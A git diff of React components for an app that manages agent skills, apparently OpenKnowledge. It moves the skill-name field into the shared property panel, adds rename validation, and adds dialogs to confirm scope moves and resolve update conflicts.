+ <SkillProperties provider={provider} scope="project" name="foo" onRename={() => {}} />,
+ );
// The frontmatter editor IS the document PropertyPanel (same component).
expect(screen.getByTestId('property-panel')).toBeTruthy();
// The description frontmatter value renders through it (not a bespoke row).
@@ -52,7 +54,9 @@ describe('SkillProperties (CRDT)', () => {
test('committing a changed name fires onRename (a git-mv rename), not a patch', () => {
const { provider, ytext } = makeProvider(SOURCE);
const onRename = vi.fn((_next: string) => {});
- renderPanel(<SkillProperties provider={provider} name="foo" onRename={onRename} />);
+ renderPanel(
+ <SkillProperties provider={provider} scope="project" name="foo" onRename={onRename} />,
+ );
const nameInput = screen.getByTestId('skill-name-input');
fireEvent.change(nameInput, { target: { value: 'bar' } });
fireEvent.blur(nameInput);
@@ -64,9 +68,22 @@ describe('SkillProperties (CRDT)', () => {
test('an unchanged name does not fire onRename', () => {
const { provider } = makeProvider(SOURCE);
const onRename = vi.fn((_next: string) => {});
- renderPanel(<SkillProperties provider={provider} name="foo" onRename={onRename} />);
+ renderPanel(
+ <SkillProperties provider={provider} scope="project" name="foo" onRename={onRename} />,
+ );
const nameInput = screen.getByTestId('skill-name-input');
fireEvent.blur(nameInput);
expect(onRename).not.toHaveBeenCalled();
});
+
+ test('renders the name identity field inside the Properties panel', () => {
+ const { provider } = makeProvider(SOURCE);
+ renderPanel(
+ <SkillProperties provider={provider} scope="project" name="foo" onRename={() => {}} />,
+ );
+ // `name` is the first row INSIDE the shared property panel (identitySlot),
+ // not a separate section above it.
+ const panel = screen.getByTestId('property-panel');
+ expect(panel.contains(screen.getByTestId('skill-name-input'))).toBe(true);
+ });
});
diff --git a/packages/app/src/components/SkillProperties.tsx b/packages/app/src/components/SkillProperties.tsx
index 1555d4d56..31aedfbf1 100644
--- a/packages/app/src/components/SkillProperties.tsx
+++ b/packages/app/src/components/SkillProperties.tsx
@@ -1,52 +1,50 @@
import type { HocuspocusProvider } from '@hocuspocus/provider';
import { SKILL_NAME_REGEX, type SkillScope } from '@inkeep/open-knowledge-core';
import { Trans, useLingui } from '@lingui/react/macro';
-import { FolderGit2, Type } from 'lucide-react';
-import { type ReactNode, useEffect, useId, useState } from 'react';
+import { Type } from 'lucide-react';
+import { useEffect, useId, useState } from 'react';
+import { PropertyDisplayRow } from '@/components/PropertyDisplayRow';
import { PropertyPanel } from '@/components/PropertyPanel';
-import { Button } from '@/components/ui/button';
import { Input } from '@/components/ui/input';
-import { SKILL_SCOPE_ORDER, useSkillScopePillLabels } from '@/lib/skill-scope';
-import { cn } from '@/lib/utils';
+import { useSkills } from '@/hooks/use-skills';
+import { skillEntryDirs } from '@/lib/skill-scope';
/**
* `name` is the skill's folder identity (and the id agents invoke it by), so it
- * is a rename affordance, not a frontmatter property — it is rendered above the
- * panel and hidden from the panel's auto-rendered rows, exactly as a document's
- * filename is not one of its properties.
+ * is a rename affordance, not a frontmatter property — it is rendered as the
+ * first row of the panel with a fixed, non-editable key and hidden from the
+ * panel's auto-rendered rows, exactly as a document's filename is not one of
+ * its properties.
*/
const SKILL_RESERVED_KEYS = ['name'] as const;
-/** Lets the create flow pick the new skill's scope inline (edit mode omits it). */
-interface ScopeControl {
- scope: SkillScope;
- onScopeChange: (scope: SkillScope) => void;
-}
-
/**
* Skill identity + properties, rendered as the editor's right-hand panel.
*
* The frontmatter editor is the EXACT document `PropertyPanel` (same component,
* same CRDT binding, same recursive object/nested-frontmatter editor + add /
* rename / reorder / tags affordances) — skills are not a divergent panel. The
- * only skill-specific rows are the identity affordances above it: `name` (a
- * rename → git-mv, never a plain patch) and, in create mode, the scope picker
- * (an OK concept, not a `SKILL.md` field). `name` is reserved out of the
- * panel's rows so it is not double-rendered.
+ * only skill-specific row is the identity affordance rendered at the top of the
+ * panel: `name` (a rename → git-mv, never a plain patch). It sits inside the
+ * Properties disclosure via the panel's `identitySlot`, with `name` reserved out
+ * of the panel's rows so it is not double-rendered. A skill's level (scope) is
+ * an identity control too, but it lives in the editor toolbar next to the
+ * install state, not in this panel.
*/
export function SkillProperties({
provider,
+ scope,
name,
- scopeControl,
onRename,
nameError,
onNameDraftChange,
nameEditable = true,
}: {
provider: HocuspocusProvider;
+ /** Which store the skill lives in — drives the on-disk location hint (§4.4). */
+ scope: SkillScope;
/** Current skill name (identity). In create mode this is the draft name. */
name: string;
- scopeControl?: ScopeControl;
/** Commit a rename (edit mode) — fired on the name field's blur/Enter with a
* changed, grammar-valid name. Omitted → the name field is read-only. */
onRename?: (next: string) => void;
@@ -59,8 +57,15 @@ export function SkillProperties({
}) {
const { t } = useLingui();
const nameId = useId();
- const scopeId = useId();
- const scopeLabels = useSkillScopePillLabels();
+ // The skill's REAL on-disk dir from its list entry (in-place skills live in
+ // editor dirs, not the store). Absent while the list loads / in create mode /
+ // mid-rename to an uncommitted name — those fall back to the derived store
+ // path, which is where a NEW name would land.
+ const skillsState = useSkills();
+ const entry =
+ skillsState.status === 'ready'
+ ? skillsState.data.find((sk) => sk.scope === scope && sk.name === name)
+ : undefined;
// Local draft for the name field so typing doesn't fight the committed identity.
const [nameDraft, setNameDraft] = useState(name);
@@ -76,135 +81,86 @@ export function SkillProperties({
const showNameError = nameInvalid || Boolean(nameError);
- return (
- <div className="flex flex-col">
- {/* Identity rows (above the reused property panel). Wrapped in the same
- `editor-content-aligned` grid the PropertyPanel uses so scope/name land
- in the editor's content column — same left indent and value column as
- the frontmatter rows below, instead of flush against the panel edge. */}
- <div className="editor-content-aligned gap-0.5 pt-4">
- {scopeControl ? (
- <PropertyRow
- icon={<FolderGit2 className="size-3.5" />}
- label={t`Level`}
- htmlFor={scopeId}
- >
- {/* Color-coded level pill — the prominent, obvious switch between a
- Project skill (shared, in this repo) and a Global skill (available
- in every project). Both segments stay visible so the alternative
- is a one-tap target, not hidden behind a dropdown. Tapping the
- inactive segment moves the skill to that level. */}
- {/* Toggle-button group (not an ARIA radiogroup): each segment is a
- normal Button tab stop with `aria-pressed`, so we don't owe the
- WAI-ARIA radio roving-tabindex/arrow-key contract. Active colors
- use the -700 shades so white text clears WCAG AA (≥4.5:1) at the
- 12px `text-xs` size. */}
- <fieldset
- id={scopeId}
- className="m-0 inline-flex items-center gap-1 rounded-full border-0 bg-muted/60 p-0.5"
- >
- <legend className="sr-only">{t`Skill level`}</legend>
- {SKILL_SCOPE_ORDER.map((s) => {
- const active = scopeControl.scope === s;
- return (
- <Button
- key={s}
- type="button"
- aria-pressed={active}
- variant="ghost"
- size="sm"
- onClick={() => {
- if (!active) scopeControl.onScopeChange(s);
- }}
- className={cn(
- 'h-6 rounded-full px-3 text-xs font-medium',
- active
- ? s === 'global'
- ? 'bg-violet-700 text-white hover:bg-violet-700 hover:text-white'
- : 'bg-sky-700 text-white hover:bg-sky-700 hover:text-white'
- : 'text-muted-foreground hover:bg-transparent hover:text-foreground',
- )}
- >
- {scopeLabels[s]}
- </Button>
- );
- })}
- </fieldset>
- </PropertyRow>
- ) : null}
- <PropertyRow icon={<Type className="size-3.5" />} label={t`name`} htmlFor={nameId}>
- <Input
- id={nameId}
- data-testid="skill-name-input"
- value={nameDraft}
- readOnly={!nameEditable}
- onChange={(e) => {
- const next = e.target.value;
- setNameDraft(next);
- onNameDraftChange?.(next);
- }}
- onBlur={commitName}
- onKeyDown={(e) => {
- if (e.key === 'Enter') e.currentTarget.blur();
- }}
- aria-invalid={showNameError}
- aria-describedby={showNameError ? `${nameId}-error` : undefined}
- className="h-7 rounded-sm border-transparent bg-transparent px-2 font-mono text-sm shadow-none focus-visible:border-transparent focus-visible:bg-muted focus-visible:ring-0 dark:bg-transparent"
- />
- {showNameError ? (
- <p id={`${nameId}-error`} className="px-1 pt-0.5 text-[11px] text-destructive">
- {nameError ? (
- nameError
- ) : (
- <Trans>
- Use lowercase letters, digits, and <code className="font-mono">-</code> only.
- </Trans>
- )}
- </p>
+ const nameRow = (
+ <PropertyDisplayRow icon={<Type className="size-3.5" />} label={t`name`} htmlFor={nameId}>
+ <Input
+ id={nameId}
+ data-testid="skill-name-input"
+ value={nameDraft}
+ readOnly={!nameEditable}
+ onChange={(e) => {
+ const next = e.target.value;
+ setNameDraft(next);
+ onNameDraftChange?.(next);
+ }}
+ onBlur={commitName}
+ onKeyDown={(e) => {
+ if (e.key === 'Enter') e.currentTarget.blur();
+ }}
+ aria-invalid={showNameError}
+ aria-describedby={showNameError ? `${nameId}-error` : undefined}
+ className="h-7 rounded-sm border-transparent bg-transparent px-2 font-mono text-sm shadow-none focus-visible:border-transparent focus-visible:bg-muted focus-visible:ring-0 dark:bg-transparent"
+ />
+ {showNameError ? (
+ <p id={`${nameId}-error`} className="px-1 pt-0.5 text-[11px] text-destructive">
+ {nameError ? (
+ nameError
) : (
- <p className="px-1 pt-0.5 text-[11px] text-muted-foreground">
- <Trans>The folder on disk and the id agents use to invoke this skill.</Trans>
- </p>
+ <Trans>
+ Use lowercase letters, digits, and <code className="font-mono">-</code> only.
+ </Trans>
)}
- </PropertyRow>
- </div>
- {/* Frontmatter (description, nested objects, tags, add/rename/reorder) is
- the exact document property panel — `name` is reserved (identity row). */}
- <PropertyPanel provider={provider} reservedKeys={SKILL_RESERVED_KEYS} />
- </div>
+ </p>
+ ) : trimmedName ? (
+ // Disclose EVERY path the skill occupies (canonical first, then per-host
+ // copies; user symlinks labeled) — the same path-first disclosure as the
+ // sidebar hover. Mid-rename / create mode falls back to the derived
+ // store path a NEW name would land at.
+ <p className="px-1 pt-0.5 text-[11px] text-muted-foreground">
+ <Trans>Saved to</Trans>{' '}
+ {entry && trimmedName === name ? (
+ skillEntryDirs(entry).map((d, i) => (
+ <span key={d.dir}>
+ {i > 0 ? ', ' : null}
+ <code className="font-mono">{d.dir}</code>
+ {d.symlink ? (
+ <span className="italic">
+ {' '}
+ <Trans>(symlink)</Trans>
+ </span>
+ ) : null}
+ </span>
+ ))
+ ) : entry ? (
+ // Mid-rename: a rename keeps the skill's root — only the leaf
+ // changes. Derive the would-be dir from the entry's REAL path
+ // (never the retired store).
+ <code className="font-mono">
+ {`${entry.path
+ .replace(/\/SKILL\.mdx?$/i, '')
+ .split('/')
+ .slice(0, -1)
+ .join('/')}/${trimmedName}`}
+ </code>
+ ) : (
+ // Fresh create, list still catching up: the server picks the
+ // default skills folder — say so honestly instead of guessing a
+ // path (the old fallback claimed the retired `.ok/skills`).
+ <Trans>the default skills folder (the exact path appears once saved)</Trans>
+ )}
+ </p>
+ ) : (
+ <p className="px-1 pt-0.5 text-[11px] text-muted-foreground">
+ <Trans>The folder on disk and the id agents use to invoke this skill.</Trans>
+ </p>
+ )}
+ </PropertyDisplayRow>
);
-}
-/** One identity row: type icon + fixed-width label column + inline value. Mirrors
- * `FrontmatterRow`'s identity layout so it lines up with the reused panel below. */
-function PropertyRow({
- icon,
- label,
- htmlFor,
- children,
-}: {
- icon: ReactNode;
- label: string;
- htmlFor: string;
- children: ReactNode;
-}) {
+ // Frontmatter (description, nested objects, tags, add/rename/reorder) is the
+ // exact document property panel — the `name` identity row is rendered at the
+ // top via `identitySlot` and reserved out of the frontmatter rows below.
return (
- <div className="flex items-start gap-1 py-0.5">
- {/* Gutter mirrors FrontmatterRow (drag-handle w-4 + type-icon size-7) so the
- identity rows align column-for-column with the frontmatter rows below. */}
- <span aria-hidden className="h-7 w-4 shrink-0" />
- <div className="flex items-center gap-1">
- <span className="flex size-7 shrink-0 items-center justify-center text-muted-foreground">
- {icon}
- </span>
- <label
- htmlFor={htmlFor}
- className="flex h-7 w-32 shrink-0 items-center truncate px-2 text-sm text-muted-foreground"
- >
- {label}
- </label>
- </div>
- <div className="min-w-0 flex-1">{children}</div>
- </div>
+ <PropertyPanel provider={provider} reservedKeys={SKILL_RESERVED_KEYS} identitySlot={nameRow} />
);
}
diff --git a/packages/app/src/components/SkillRenameDialog.tsx b/packages/app/src/components/SkillRenameDialog.tsx
index e9e13d7eb..29d6e319d 100644
--- a/packages/app/src/components/SkillRenameDialog.tsx
+++ b/packages/app/src/components/SkillRenameDialog.tsx
@@ -1,7 +1,7 @@
import { SKILL_NAME_REGEX, type SkillsListEntry } from '@inkeep/open-knowledge-core';
-import { Trans, useLingui } from '@lingui/react/macro';
+import { Trans } from '@lingui/react/macro';
import { useEffect, useId, useState } from 'react';
-import { toast } from 'sonner';
+import { useRenameSkill } from '@/components/ManagedArtifactProperties';
import { Button } from '@/components/ui/button';
import {
Dialog,
@@ -13,7 +13,6 @@ import {
} from '@/components/ui/dialog';
import { Input } from '@/components/ui/input';
import { Label } from '@/components/ui/label';
-import { moveSkill } from '@/lib/skills-api';
interface Props {
/** The skill to rename; `null` keeps the dialog closed. */
@@ -32,7 +31,7 @@ interface Props {
* the editor — mirroring the file row's Rename.
*/
export function SkillRenameDialog({ skill, existingNames, onOpenChange, onRenamed }: Props) {
- const { t } = useLingui();
+ const renameSkill = useRenameSkill();
const open = skill !== null;
const inputId = useId();
const [name, setName] = useState('');
@@ -48,20 +47,23 @@ export function SkillRenameDialog({ skill, existingNames, onOpenChange, onRename
const trimmed = name.trim();
const unchanged = trimmed === skill.name;
- const invalid = trimmed === '' || !SKILL_NAME_REGEX.test(trimmed);
+ // A space is the most common mistake, so message it explicitly (§12.9); the
+ // 64-char cap is also enforced by the input's maxLength (§12.10).
+ const hasSpace = /\s/.test(name);
+ const tooLong = trimmed.length > 64;
+ const invalid = trimmed === '' || !SKILL_NAME_REGEX.test(trimmed) || tooLong;
const collides = !invalid && !unchanged && existingNames.has(trimmed);
const canSave = !invalid && !collides && !unchanged && !saving;
async function submit() {
if (!skill || !canSave) return;
setSaving(true);
- const result = await moveSkill({ scope: skill.scope, fromName: skill.name, toName: trimmed });
+ // Shared flow: POST the move, toast, AND retarget the open tab. Before this the
+ // dialog only did the move + toast, so renaming the skill you were viewing left
+ // the tab stranded on the deleted source doc.
+ const result = await renameSkill({ scope: skill.scope, name: skill.name }, trimmed);
setSaving(false);
- if (!result.ok) {
- toast.error(t`Couldn't rename "${skill.name}": ${result.error}`);
- return;
- }
- toast.success(t`Renamed to "${trimmed}"`);
+ if (!result.ok) return; // the shared hook already surfaced the error toast
onRenamed?.(trimmed);
onOpenChange(false);
}
@@ -91,6 +93,7 @@ export function SkillRenameDialog({ skill, existingNames, onOpenChange, onRename
spellCheck={false}
autoCapitalize="off"
autoCorrect="off"
+ maxLength={64}
aria-invalid={invalid || collides}
aria-describedby={
(invalid && trimmed !== '') || collides ? `${inputId}-error` : undefined
@@ -99,9 +102,17 @@ export function SkillRenameDialog({ skill, existingNames, onOpenChange, onRename
/>
{invalid && trimmed !== '' ? (
<p id={`${inputId}-error`} className="text-xs text-destructive">
- <Trans>
- Use lowercase letters, digits, and <code className="font-mono">-</code> only.
- </Trans>
+ {hasSpace ? (
+ <Trans>
+ No spaces — use <code className="font-mono">-</code> instead.
+ </Trans>
+ ) : tooLong ? (
+ <Trans>Keep the name to 64 characters or fewer.</Trans>
+ ) : (
+ <Trans>
+ Use lowercase letters, digits, and <code className="font-mono">-</code> only.
+ </Trans>
+ )}
</p>
) : collides ? (
<p id={`${inputId}-error`} className="text-xs text-destructive">
@@ -110,7 +121,12 @@ export function SkillRenameDialog({ skill, existingNames, onOpenChange, onRename
) : null}
</div>
<DialogFooter>
- <Button variant="ghost" onClick={() => onOpenChange(false)} disabled={saving}>
+ <Button
+ variant="outline"
+ className="font-mono uppercase"
+ onClick={() => onOpenChange(false)}
+ disabled={saving}
+ >
<Trans>Cancel</Trans>
</Button>
<Button onClick={() => void submit()} disabled={!canSave}>
diff --git a/packages/app/src/components/SkillRow.tsx b/packages/app/src/components/SkillRow.tsx
deleted file mode 100644
index c510843fc..000000000
--- a/packages/app/src/components/SkillRow.tsx
+++ /dev/null
@@ -1,144 +0,0 @@
-import type { SkillsListEntry } from '@inkeep/open-knowledge-core';
-import { Trans, useLingui } from '@lingui/react/macro';
-import { DownloadCloud, Lock, MoreVertical } from 'lucide-react';
-import { OpenInAgentMenu } from '@/components/handoff/OpenInAgentMenu';
-import { buildSkillHandoffInput } from '@/components/handoff/useHandoffDispatch';
-import { SkillStateBadge } from '@/components/SkillStateBadge';
-import { SkillActionMenuItems } from '@/components/skill-actions';
-import { Badge } from '@/components/ui/badge';
-import { Button } from '@/components/ui/button';
-import {
- DropdownMenu,
- DropdownMenuContent,
- DropdownMenuTrigger,
-} from '@/components/ui/dropdown-menu';
-import { useWorkspace } from '@/lib/use-workspace';
-
-interface SkillRowProps {
- skill: SkillsListEntry;
- onEdit: () => void;
- onDelete: () => void;
- onInstall: () => void;
- onUninstall: () => void;
- /** True while this row's install POST is in flight. */
- installing: boolean;
-}
-
-/**
- * One row in the Skills manager list: the skill's name + description, a state
- * badge (Installed vs Draft), one badge per editor host it's installed into,
- * and an Install action + an Edit/Delete menu. A skill with no on-disk
- * `description` (malformed/empty frontmatter) is surfaced with a "needs
- * description" note — it still lists rather than silently dropping.
- *
- * Clicking the row body opens edit; the 3-dot menu carries Edit + Delete; the
- * Install button projects the skill into the project's target editors.
- */
-export function SkillRow({
- skill,
- onEdit,
- onDelete,
- onInstall,
- onUninstall,
- installing,
-}: SkillRowProps) {
- const { t } = useLingui();
- const workspace = useWorkspace();
- // "Open with AI" (author-with-AI): hand the skill to an installed agent so it
- // writes/edits it via the open-knowledge-write-skill meta-skill. Reuses the
- // shared handoff menu (config-gated on installed agents); `null` input
- // disables its trigger until the workspace is loaded.
- const handoffInput = buildSkillHandoffInput({
- skillName: skill.name,
- scope: skill.scope,
- workspace,
- });
- return (
- <li
- className="group flex items-start gap-2 rounded-md px-2 py-1.5 text-sm hover:bg-muted/50"
- data-testid={`skill-row-${skill.name}`}
- >
- <Button
- type="button"
- variant="ghost"
- onClick={onEdit}
- className="h-auto min-w-0 flex-1 flex-col items-start gap-0.5 px-1.5 py-1 text-left font-normal hover:bg-transparent"
- >
- <span className="flex w-full items-center gap-2">
- <code className="truncate font-mono font-medium">{skill.name}</code>
- {skill.managed ? (
- <Badge variant="gray" className="gap-1 text-2xs" title={t`Managed by OpenKnowledge`}>
- <Lock className="size-3" aria-hidden />
- <Trans>Managed</Trans>
- </Badge>
- ) : (
- <SkillStateBadge installed={skill.installed} className="text-2xs" />
- )}
- </span>
- {skill.description ? (
- <span className="block w-full truncate text-sm text-muted-foreground">
- {skill.description}
- </span>
- ) : (
- <span className="block w-full truncate text-sm italic text-muted-foreground">
- <Trans>No description yet — add one so agents know when to use this skill.</Trans>
- </span>
- )}
- {skill.hosts.length > 0 ? (
- <span className="flex flex-wrap items-center gap-1 pt-0.5">
- <span className="sr-only">
- <Trans>Installed into</Trans>
- </span>
- {skill.hosts.map((host) => (
- <Badge key={host} variant="gray" className="text-2xs">
- {host}
- </Badge>
- ))}
- </span>
- ) : null}
- </Button>
- <span className="shrink-0 self-center opacity-0 group-hover:opacity-100 focus-within:opacity-100 data-[state=open]:opacity-100">
- <OpenInAgentMenu input={handoffInput} />
- </span>
- {/* A managed built-in skill is read-only: no Install button, no
- edit/uninstall/delete menu. The row body still opens it to read. */}
- {skill.managed ? null : (
- <>
- <Button
- type="button"
- variant="ghost"
- size="sm"
- className="shrink-0 self-center font-mono uppercase opacity-0 group-hover:opacity-100 focus-visible:opacity-100"
- onClick={onInstall}
- disabled={installing}
- data-testid={`skill-install-${skill.name}`}
- >
- <DownloadCloud className="size-3.5" aria-hidden />
- {skill.installed ? <Trans>Installed</Trans> : <Trans>Install</Trans>}
- </Button>
- <DropdownMenu>
- <DropdownMenuTrigger asChild>
- <Button
- variant="ghost"
- size="icon"
- className="size-7 shrink-0 self-center opacity-0 group-hover:opacity-100 focus-visible:opacity-100 data-[state=open]:opacity-100"
- aria-label={t`Actions for ${skill.name}`}
- >
- <MoreVertical className="size-4" aria-hidden />
- </Button>
- </DropdownMenuTrigger>
- <DropdownMenuContent align="end" className="min-w-52">
- {/* Install stays a dedicated button on this row, so the menu omits it. */}
- <SkillActionMenuItems
- skill={skill}
- onEdit={onEdit}
- onUninstall={onUninstall}
- onDelete={onDelete}
- />
- </DropdownMenuContent>
- </DropdownMenu>
- </>
- )}
- </li>
- );
-}
diff --git a/packages/app/src/components/SkillScopeMoveDialog.tsx b/packages/app/src/components/SkillScopeMoveDialog.tsx
new file mode 100644
index 000000000..aa1e680f1
--- /dev/null
+++ b/packages/app/src/components/SkillScopeMoveDialog.tsx
@@ -0,0 +1,81 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { Trans } from '@lingui/react/macro';
+import { useState } from 'react';
+import { Button } from '@/components/ui/button';
+import {
+ Dialog,
+ DialogClose,
+ DialogContent,
+ DialogDescription,
+ DialogFooter,
+ DialogHeader,
+ DialogTitle,
+} from '@/components/ui/dialog';
+import { useMoveSkillScope } from '@/hooks/use-move-skill-scope';
+import { useSkillScopeLabels } from '@/lib/skill-scope';
+
+export interface SkillScopeMoveTarget {
+ scope: SkillScope;
+ name: string;
+ toScope: SkillScope;
+}
+
+/**
+ * The confirm-before-move dialog for a skill scope change (project ↔ global),
+ * shared by the toolbar level control (`useSkillScopeMove`) and the sidebar
+ * three-dot menu (§9.5). Target-driven so it can be mounted by a stable parent
+ * (`useSkillActions.dialogs`) independent of any menu that unmounts on select.
+ * Moving relocates files on disk + re-installs into your editors, so it never
+ * commits on open — only on the explicit Move button.
+ */
+export function SkillScopeMoveDialog({
+ target,
+ onOpenChange,
+}: {
+ target: SkillScopeMoveTarget | null;
+ onOpenChange: (open: boolean) => void;
+}) {
+ const scopeLabels = useSkillScopeLabels();
+ const moveScope = useMoveSkillScope();
+ const [moving, setMoving] = useState(false);
+ if (!target) return null;
+ const { scope, name, toScope } = target;
+
+ return (
+ <Dialog open onOpenChange={(open) => !open && !moving && onOpenChange(false)}>
+ <DialogContent className="sm:max-w-md">
+ <DialogHeader>
+ <DialogTitle>
+ <Trans>Move to {scopeLabels[toScope]}?</Trans>
+ </DialogTitle>
+ <DialogDescription>
+ <Trans>
+ This moves <code className="font-mono">{name}</code> from {scopeLabels[scope]} to{' '}
+ {scopeLabels[toScope]}, relocating its files on disk and re-installing it in your
+ editors at the {scopeLabels[toScope]} level.
+ </Trans>
+ </DialogDescription>
+ </DialogHeader>
+ <DialogFooter>
+ <DialogClose asChild>
+ <Button variant="outline" disabled={moving}>
+ <Trans>Cancel</Trans>
+ </Button>
+ </DialogClose>
+ <Button
+ data-testid="skill-scope-move-confirm"
+ disabled={moving}
+ onClick={async () => {
+ setMoving(true);
+ await moveScope({ scope, name }, toScope);
+ setMoving(false);
+ onOpenChange(false);
+ }}
+ >
+ <Trans>Move</Trans>
+ </Button>
+ </DialogFooter>
+ </DialogContent>
+ </Dialog>
+ );
+}
diff --git a/packages/app/src/components/SkillStateBadge.tsx b/packages/app/src/components/SkillStateBadge.tsx
deleted file mode 100644
index d6cdcd93b..000000000
--- a/packages/app/src/components/SkillStateBadge.tsx
+++ /dev/null
@@ -1,42 +0,0 @@
-import { Trans } from '@lingui/react/macro';
-import { Badge } from '@/components/ui/badge';
-import { cn } from '@/lib/utils';
-
-/**
- * Installed vs Draft state for a skill — one source shared by the Settings list
- * row (`SkillRow`), the sidebar Skills section, and the editor header.
- *
- * `subtle` renders a muted inline label instead of the filled pill — used in the
- * file sidebar so the state reads as quiet metadata next to the row (cohesive
- * with the icon + name file rows) rather than a loud badge.
- */
-export function SkillStateBadge({
- installed,
- className,
- subtle = false,
-}: {
- installed: boolean;
- className?: string;
- subtle?: boolean;
-}) {
- const testId = installed ? 'skill-state-installed' : 'skill-state-draft';
- if (subtle) {
- return (
- <span
- className={cn(
- 'text-2xs',
- installed ? 'text-primary/80' : 'text-muted-foreground/70',
- className,
- )}
- data-testid={testId}
- >
- {installed ? <Trans>Installed</Trans> : <Trans>Draft</Trans>}
- </span>
- );
- }
- return (
- <Badge variant={installed ? 'primary' : 'warning'} className={className} data-testid={testId}>
- {installed ? <Trans>Installed</Trans> : <Trans>Draft</Trans>}
- </Badge>
- );
-}
diff --git a/packages/app/src/components/SkillToolbarControls.tsx b/packages/app/src/components/SkillToolbarControls.tsx
new file mode 100644
index 000000000..183b4b03b
--- /dev/null
+++ b/packages/app/src/components/SkillToolbarControls.tsx
@@ -0,0 +1,108 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { Trans, useLingui } from '@lingui/react/macro';
+import { ListPlus, MoreVertical } from 'lucide-react';
+import { AddPropertiesButton } from '@/components/AddPropertiesButton';
+import { SkillEditorActions } from '@/components/SkillEditorActions';
+import { SkillLevelSelect } from '@/components/SkillLevelSelect';
+import { Button } from '@/components/ui/button';
+import {
+ DropdownMenu,
+ DropdownMenuContent,
+ DropdownMenuItem,
+ DropdownMenuLabel,
+ DropdownMenuRadioGroup,
+ DropdownMenuRadioItem,
+ DropdownMenuSeparator,
+ DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu';
+import { useSkillScopeMove } from '@/hooks/use-skill-scope-move';
+import { SKILL_SCOPE_ORDER, useSkillScopeLabels } from '@/lib/skill-scope';
+
+/**
+ * The skill-specific toolbar cluster (level + install + add-properties), with a
+ * container-query collapse so it degrades gracefully as the editor pane narrows.
+ * Above `@xl/toolbar` everything sits inline; below it the Level picker and
+ * Add-properties fold into a single overflow menu, leaving only the install pill
+ * + overflow + panel toggle in the row so the controls never overlap the
+ * centered mode toggle or the provenance line. The install pill stays visible at
+ * every width — it's the primary skill affordance.
+ *
+ * Breakpoint is `@xl/toolbar` (36rem); tune both the visibility class here and
+ * the container on `EditorToolbar` together.
+ */
+export function SkillToolbarControls({
+ scope,
+ name,
+ showAddPropertyButton,
+ onAddProperty,
+}: {
+ scope: SkillScope;
+ name: string;
+ showAddPropertyButton: boolean;
+ onAddProperty: () => void;
+}) {
+ const { t } = useLingui();
+ const scopeLabels = useSkillScopeLabels();
+ const move = useSkillScopeMove({ scope, name });
+
+ return (
+ <>
+ {/* `gap-2` so the two bordered dropdowns don't read as cramped next to the
+ ghost icon buttons (whose padding adds visual air). */}
+ <div className="flex items-center gap-2">
+ <SkillLevelSelect
+ value={scope}
+ onRequestMove={move.requestMove}
+ triggerClassName="hidden @xl/toolbar:flex"
+ />
+ <SkillEditorActions scope={scope} name={name} />
+ </div>
+ {showAddPropertyButton ? (
+ <AddPropertiesButton
+ onAddProperty={onAddProperty}
+ className="hidden @xl/toolbar:inline-flex"
+ />
+ ) : null}
+ <DropdownMenu>
+ <DropdownMenuTrigger asChild>
+ <Button
+ variant="ghost"
+ size="icon"
+ aria-label={t`More skill actions`}
+ data-testid="skill-toolbar-overflow"
+ className="@xl/toolbar:hidden"
+ >
+ <MoreVertical className="size-4" aria-hidden />
+ </Button>
+ </DropdownMenuTrigger>
+ <DropdownMenuContent align="end" className="min-w-44">
+ <DropdownMenuLabel>
+ <Trans>Level</Trans>
+ </DropdownMenuLabel>
+ <DropdownMenuRadioGroup
+ value={scope}
+ onValueChange={(v) => move.requestMove(v as SkillScope)}
+ >
+ {SKILL_SCOPE_ORDER.map((s) => (
+ <DropdownMenuRadioItem key={s} value={s}>
+ {scopeLabels[s]}
+ </DropdownMenuRadioItem>
+ ))}
+ </DropdownMenuRadioGroup>
+ {showAddPropertyButton ? (
+ <>
+ <DropdownMenuSeparator />
+ <DropdownMenuItem onSelect={onAddProperty}>
+ <ListPlus />
+ <Trans>Add properties</Trans>
+ </DropdownMenuItem>
+ </>
+ ) : null}
+ </DropdownMenuContent>
+ </DropdownMenu>
+ {/* Rendered outside the DropdownMenu so selecting a level (which closes the
+ menu) doesn't unmount the confirm dialog before it can open. */}
+ {move.dialog}
+ </>
+ );
+}
diff --git a/packages/app/src/components/SkillUpdateConflictDialog.tsx b/packages/app/src/components/SkillUpdateConflictDialog.tsx
new file mode 100644
index 000000000..0c13f2839
--- /dev/null
+++ b/packages/app/src/components/SkillUpdateConflictDialog.tsx
@@ -0,0 +1,67 @@
+import { Trans } from '@lingui/react/macro';
+import { DiffView } from '@/components/DiffView';
+import { Button } from '@/components/ui/button';
+import {
+ Dialog,
+ DialogBody,
+ DialogContent,
+ DialogDescription,
+ DialogFooter,
+ DialogHeader,
+ DialogTitle,
+} from '@/components/ui/dialog';
+
+/**
+ * Confirm-diff shown when Update would overwrite a locally-modified skill. Renders
+ * the user's current SKILL.md body against the incoming upstream (read-only reuse
+ * of `DiffView`), then lets them Take upstream (apply, discarding local edits —
+ * recoverable from version history) or Keep mine (cancel). Only opened when the
+ * skill is modified AND upstream changed; a clean skill updates without this gate.
+ */
+export function SkillUpdateConflictDialog({
+ open,
+ onOpenChange,
+ skillName,
+ localBody,
+ upstreamBody,
+ applying,
+ onTakeUpstream,
+}: {
+ open: boolean;
+ onOpenChange: (open: boolean) => void;
+ skillName: string;
+ localBody: string;
+ upstreamBody: string;
+ applying: boolean;
+ onTakeUpstream: () => void;
+}) {
+ return (
+ <Dialog open={open} onOpenChange={onOpenChange}>
+ <DialogContent className="flex max-h-[85vh] max-w-3xl flex-col">
+ <DialogHeader>
+ <DialogTitle>
+ <Trans>Update "{skillName}" over your edits?</Trans>
+ </DialogTitle>
+ <DialogDescription>
+ <Trans>
+ You edited this skill locally and the source has new changes. Taking upstream replaces
+ your version; your edits stay recoverable in version history.
+ </Trans>
+ </DialogDescription>
+ </DialogHeader>
+ <DialogBody className="min-h-0 flex-1 overflow-auto">
+ {/* old = your current body, new = incoming upstream. */}
+ <DiffView oldContent={localBody} newContent={upstreamBody} layout="unified" />
+ </DialogBody>
+ <DialogFooter>
+ <Button variant="outline" onClick={() => onOpenChange(false)} disabled={applying}>
+ <Trans>Keep mine</Trans>
+ </Button>
+ <Button onClick={onTakeUpstream} disabled={applying}>
+ {applying ? <Trans>Updating</Trans> : <Trans>Take upstream</Trans>}
+ </Button>
+ </DialogFooter>
+ </DialogContent>
+ </Dialog>
+ );
+}
